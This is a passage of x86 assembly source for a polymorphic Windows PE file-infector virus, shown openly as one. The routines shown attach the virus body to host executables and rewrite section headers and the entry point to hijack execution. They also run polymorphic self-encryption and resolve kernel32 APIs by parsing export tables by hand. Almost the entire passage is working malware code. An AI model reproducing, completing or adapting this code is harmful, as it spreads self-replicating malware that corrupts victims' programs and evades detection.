push edi
call get_last_sh
mov eax,dword ptr [ebp+original_size]
add eax,poly_decryptor-Mem_Base
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]
sub eax,dword ptr [esi+OH_AddressOfEntryPoint]
sub eax,00000005h
pop edi
pop edx
add eax,edx
stosd
;Execution continues on next routine
;······································································ ······
;Attach virus to file
;······································································ ······
back2infection: ;We fall here after the entry-point stuff
;Complete infection and do polymorphic encryption
;Save current system time inside virus body
lea eax,dword ptr [ebp+inf_time+mem_size]
push eax
call dword ptr [ebp+a_GetSysTime]
;Generate polymorphic encryption
push ebx
call mutate
pop ebx
;Get pointer to last section
call get_last_sh
;ebx - Host base address
;esi - IMAGE_OPTIONAL_HEADER
;edi - Pointer to last section header
;Get new SizeOfRawData and VirtualSize
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
add eax,mem_size-inf_size
sub eax,dword ptr [edi+SH_PointerToRawData]
mov edx,eax
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe ok_VirtualSize
mov dword ptr [edi+SH_VirtualSize],eax
ok_VirtualSize: mov eax,edx
xor edx,edx
mov ecx,dword ptr [esi+OH_FileAlignment]
div ecx
inc eax
mul ecx
mov dword ptr [edi+SH_SizeOfRawData],eax
;Set section characteristics
or dword ptr [edi+SH_Characteristics], \
IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;Update OH_SizeOfImage
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
mov edx,dword ptr [esi+OH_SizeOfImage]
cmp eax,edx
jae done_image_s
lea eax,dword ptr [edx+mem_size]
done_image_s: xor edx,edx
mov ecx,dword ptr [esi+OH_SectionAlignment]
div ecx
inc eax
mul ecx
mov dword ptr [esi+OH_SizeOfImage],eax
;Write virus into memory mapped file
mov ecx,inf_size
lea esi,dword ptr [ebp+Mem_Base+mem_size]
mov edi,ebx
add edi,dword ptr [ebp+original_size]
rep movsb
;Free memory mapped file
mov eax,ebx
call unmap_close
;Exit, file is infected
clc
ret
;······································································ ······
;Get RAW of entry
;······································································ ······
;······································································ ······
;Change the entry-point field in file header
;······································································ ······
fuxoring_file: ;Well, after checking relocations for this file we
;found that there is a relocation over the first
;five bytes of host entry-point code
;Our buffer is ZERO bytes coz no code needs to be
;restored on host execution
xor eax,eax
mov dword ptr [ebp+insert_size+mem_size],eax
;Get the RVA for virus entry-point
call get_last_sh
mov eax,dword ptr [ebp+original_size]
add eax,poly_decryptor-Mem_Base
add eax,dword ptr [edi+SH_VirtualAddress]
sub eax,dword ptr [edi+SH_PointerToRawData]
;Overwrite OH_AddressOfEntryPoint with the
;virus entry point
mov dword ptr [esi+OH_AddressOfEntryPoint],eax
jmp back2infection
;······································································ ······
;Get pointer to last section header
;······································································ ······
get_last_sh: ;
;Entry:
;
;ebx - Host base address
;
;Exit:
;
;esi - IMAGE_OPTIONAL_HEADER
;edi - Pointer to last section header
;
mov esi,dword ptr [ebx+DH_lfanew]
add esi,ebx
cld
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mov eax,IMAGE_SIZEOF_SECTION_HEADER
mul ecx
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,edx
add eax,esi
mov edi,eax
ret
;······································································ ······
;Convert RVA to RAW
;······································································ ······
RVA2RAW: ;
;Entry:
;
;ebx - Host base address
;edx - RVA to convert
;
;Exit:
;
;ecx - Pointer to RAW data or NULL if error
;edx - Section delta offset
;esi - Pointer to IMAGE_OPTIONAL_HEADER
;edi - Pointer to section header
;
cld
mov dword ptr [ebp+search_raw],edx
mov esi,dword ptr [ebx+DH_lfanew]
add esi,ebx
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
jecxz err_RVA2RAW
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add edi,esi
;Get the IMAGE_SECTION_HEADER that contains RVA
;
;At this point:
;
;ebx - File base address
;esi - Pointer to IMAGE_OPTIONAL_HEADER
;edi - Pointer to first section header
;ecx - Number of sections
s_img_section:
;Check if address of imports directory is inside this
;section
mov eax,dword ptr [ebp+search_raw]
mov edx,dword ptr [edi+SH_VirtualAddress]
sub eax,edx
cmp eax,dword ptr [edi+SH_VirtualSize]
jb section_ok
out_of_section: ;Go to next section header
add edi,IMAGE_SIZEOF_SECTION_HEADER
loop s_img_section
err_RVA2RAW: ret
section_ok: ;Get raw
mov ecx,dword ptr [edi+SH_PointerToRawData]
sub edx,ecx
add ecx,eax
add ecx,ebx
ret
;······································································ ······
;Do needed relocation corrections over code at host entry-point
;······································································ ······
do_reloc_work: ;Entry:
;
;ebx - host base address
;esi - IMAGE_BASE_RELOCATION
;edi - IMAGE_OPTIONAL_HEADER
;
;Exit:
;
;ecx - Space free of relocations at entry-point
;
;Get IBR_VirtualAddress
cld
lodsd
mov edx,eax
;Get IBR_SizeOfBlock
lodsd
or eax,eax
jnz continue_reloc
;We have reached the last relocation and all of them
;seem to refer to virtual addresses behind the host
;entry-point, so we can generate lots of polymorphic
;code there
xor ecx,ecx
not ecx
ret
continue_reloc: ;Get number of relocations in this block
sub eax,IMAGE_SIZEOF_BASE_RELOCATION
shr eax,01h
mov ecx,eax
rblock_loop: ;Get IBR_TypeOffset
push ecx
xor eax,eax
lodsw
and ax,0FFFh
add eax,edx
cmp eax,dword ptr [edi+OH_AddressOfEntryPoint]
jae reloc_over_ep
next_reloc: ;Follow relocations chain
pop ecx
loop rblock_loop
jmp short do_reloc_work
reloc_over_ep: ;Get number of bytes from entry-point to first relocat ion
pop ecx
sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
ret
;······································································ ······
;Get entry point for GetProcAddress
;······································································ ······
my_GetProcAddr: ;
;Entry:
;
;a_Kernel32 - Base address for kernel32
;
;Exit:
;
;eax - Entry point for GetProcAddress
; or NULL if error
;
push ebx
;Check for MZ signature at base address
cld
mov ebx,dword ptr [ebp+a_Kernel32]
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne e_GetProcAddr
;Now go to the pe header and check for the PE signatur e
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne e_GetProcAddr
;Get pointer to Image Export Directory and save it
add esi,NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress-0004h
lodsd
add eax,ebx
push eax
;Get pointer to exported function names
;Also follow the AddressOfNameOrdinals array
mov ecx,dword ptr [eax+ED_NumberOfNames]
mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
add edx,ebx
lea esi,dword ptr [eax+ED_AddressOfNames]
lodsd
add eax,ebx
next_name: ;Search for GetProcAddress in exported function names
push ecx
lea esi,dword ptr [ebp+szGetProcAddr]
mov edi,dword ptr [eax]
or edi,edi
jz try_next
got_name_rva: ;Get absolute address
add edi,ebx
;Compare names
mov ecx,0000000Eh
repe cmpsb
je found_name
try_next: ;Go to next name
add eax,00000004h
add edx,00000002h
pop ecx
loop next_name
;Name not found, exit with error
pop eax
jmp short e_GetProcAddr
found_name: ;Ok, now edx is the index of the function, so
;lets look at AddressOfNameOrdinals using that index
pop ecx
pop edi
;Get ordinal for function
movzx eax,word ptr [edx]
;Check if ordinal out of range
cmp eax,[edi+ED_NumberOfFunctions]
jae short e_GetProcAddr
;This is the starting export ordinal number
sub eax,dword ptr [edi+ED_BaseOrdinal]
inc eax
shl eax,02h
;Get address of function
mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,eax
add esi,ebx
lodsd
add eax,ebx
pop ebx
ret
e_GetProcAddr: ;GetProcAddress not found, exit with error
xor eax,eax
pop ebx
ret
;······································································ ······
;Get KERNEL32 module handle if we cant get it using GetModuleHandle
;······································································ ······
my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain
;
;Entry:
;
;ebx - Base address of host in memory
;
;Exit:
;
;eax - Kernel32 base address or NULL if error
;
;Generate a mov esi,xxxx instruction
db 0BEh
;This is just a rva that points to ID_ForwarderChain
;field inside Kernel32 import module descriptor
rva_kernel32 dd 00000000h
;Get Kernel32 entry point from ID_ForwarderChain
add esi,ebx
lodsd
;Check for the MZ signature
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
jne err_getkernel
;Now go to the pe header and check for the PE signatur e
mov esi,dword ptr [eax+DH_lfanew]
cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE
jne err_getkernel
ret
err_getkernel: ;Could not find KERNEL32 base addres :(
xor eax,eax
ret
;······································································ ······
;Get APIs entry point
;······································································ ······
get_functions: ;Get the entry point for all KERNEL32 API functions
;used by the virus
;
;Entry:
;
;None
;
;Exit:
;
;ecx - NULL if error
;
;Dont fuck our host base address
push ebx
;Get pointer to viral function names
lea esi,dword ptr [ebp+viral_functions]
lea edi,dword ptr [ebp+viral_addresses]
;Get number of functions
mov ecx,(offset viral_tbl_end-offset viral_functions)/ 04h
get_each_ep: ;Get pointer to function name
cld
lodsd
add eax,ebp
;Save counter and pointers
push ecx
push esi
push edi
;Get entry point using GetProcAddress
push eax
push dword ptr [ebp+a_Kernel32]
call dword ptr [ebp+a_GetProcAddr]
;Restore counter and pointers
pop edi
|
|